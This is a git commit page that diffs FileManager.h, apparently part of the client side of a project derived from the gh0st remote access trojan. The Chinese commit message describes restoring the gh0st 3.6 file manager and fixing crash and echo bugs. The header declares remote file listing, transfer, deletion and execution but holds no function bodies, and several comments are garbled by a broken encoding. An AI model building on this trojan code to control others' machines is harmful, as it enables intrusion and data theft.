修复注册表管理窗口关闭时崩溃的缺陷
1、还原客户端的文件管理模块代码为gh0st的源码3.6版本. 2、修复上述"cmd窗口总是将输入命令输出2次"的遗留问题。 3、打开注册表关闭后崩溃,参照按对文件管理窗口的修改进行处理。遗留问题:并无内存泄漏,但退出时报"HEAP: Free Heap modified after it was freed"问题。
This commit is contained in:
@@ -1,44 +1,60 @@
|
||||
// FileManager.h: interface for the CFileManager class.
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
#include "IOCPClient.h"
|
||||
#include "common.h"
|
||||
typedef IOCPClient CClientSocket;
|
||||
|
||||
#if !defined(AFX_FILEMANAGER_H__FA7A4DE1_0123_47FD_84CE_85F4B24149CE__INCLUDED_)
|
||||
#define AFX_FILEMANAGER_H__FA7A4DE1_0123_47FD_84CE_85F4B24149CE__INCLUDED_
|
||||
#if !defined(AFX_FILEMANAGER_H__359D0039_E61F_46D6_86D6_A405E998FB47__INCLUDED_)
|
||||
#define AFX_FILEMANAGER_H__359D0039_E61F_46D6_86D6_A405E998FB47__INCLUDED_
|
||||
#include <winsock2.h>
|
||||
#include <list>
|
||||
#include <string>
|
||||
|
||||
#include "Manager.h"
|
||||
using namespace std;
|
||||
|
||||
#if _MSC_VER > 1000
|
||||
#pragma once
|
||||
#endif // _MSC_VER > 1000
|
||||
|
||||
#include "Manager.h"
|
||||
#include "IOCPClient.h"
|
||||
|
||||
|
||||
typedef struct
|
||||
{
|
||||
DWORD dwSizeHigh;
|
||||
DWORD dwSizeLow;
|
||||
}FILE_SIZE;
|
||||
UINT nFileSize; // <20>ļ<EFBFBD><C4BC><EFBFBD>С
|
||||
UINT nSendSize; // <20>ѷ<EFBFBD><D1B7>ʹ<EFBFBD>С
|
||||
}SENDFILEPROGRESS, *PSENDFILEPROGRESS;
|
||||
|
||||
class CFileManager : public CManager
|
||||
|
||||
class CFileManager : public CManager
|
||||
{
|
||||
public:
|
||||
CFileManager(IOCPClient* ClientObject, int n);
|
||||
void OnReceive(LPBYTE lpBuffer, UINT nSize);
|
||||
UINT SendDriveList();
|
||||
CFileManager(CClientSocket *pClient, int h = 0);
|
||||
virtual ~CFileManager();
|
||||
private:
|
||||
list <string> m_UploadList;
|
||||
UINT m_nTransferMode;
|
||||
char m_strCurrentProcessFileName[MAX_PATH]; // <20><>ǰ<EFBFBD><C7B0><EFBFBD>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>
|
||||
__int64 m_nCurrentProcessFileLength; // <20><>ǰ<EFBFBD><C7B0><EFBFBD>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC>ij<EFBFBD><C4B3><EFBFBD>
|
||||
bool MakeSureDirectoryPathExists(LPCTSTR pszDirPath);
|
||||
bool UploadToRemote(LPBYTE lpBuffer);
|
||||
bool FixedUploadList(LPCTSTR lpszDirectory);
|
||||
void StopTransfer();
|
||||
UINT SendFilesList(LPCTSTR lpszDirectory);
|
||||
bool DeleteDirectory(LPCTSTR lpszDirectory);
|
||||
UINT SendFileSize(LPCTSTR lpszFileName);
|
||||
UINT SendFileData(LPBYTE lpBuffer);
|
||||
void CreateFolder(LPBYTE lpBuffer);
|
||||
void Rename(LPBYTE lpBuffer);
|
||||
int SendToken(BYTE bToken);
|
||||
|
||||
VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
|
||||
ULONG CFileManager::SendDiskDriverList() ;
|
||||
ULONG CFileManager::SendFilesList(char* szDirectoryPath);
|
||||
VOID CFileManager::CreateClientRecvFile(LPBYTE szBuffer);
|
||||
|
||||
BOOL CFileManager::MakeSureDirectoryPathExists(char* szDirectoryFullPath);
|
||||
char m_szOperatingFileName[MAX_PATH];
|
||||
__int64 m_OperatingFileLength;
|
||||
VOID CFileManager::GetFileData() ;
|
||||
VOID CFileManager::WriteClientRecvFile(LPBYTE szBuffer, ULONG ulLength);
|
||||
|
||||
ULONG m_ulTransferMode;
|
||||
VOID CFileManager::SetTransferMode(LPBYTE szBuffer);
|
||||
VOID CFileManager::Rename(char* szExistingFileFullPath,char* szNewFileFullPath);
|
||||
void CreateLocalRecvFile(LPBYTE lpBuffer);
|
||||
void SetTransferMode(LPBYTE lpBuffer);
|
||||
void GetFileData();
|
||||
void WriteLocalRecvFile(LPBYTE lpBuffer, UINT nSize);
|
||||
void UploadNext();
|
||||
bool OpenFile(LPCTSTR lpFile, INT nShowCmd);
|
||||
};
|
||||
|
||||
#endif // !defined(AFX_FILEMANAGER_H__FA7A4DE1_0123_47FD_84CE_85F4B24149CE__INCLUDED_)
|
||||
#endif // !defined(AFX_FILEMANAGER_H__359D0039_E61F_46D6_86D6_A405E998FB47__INCLUDED_)
|
||||
|
||||
Reference in New Issue
Block a user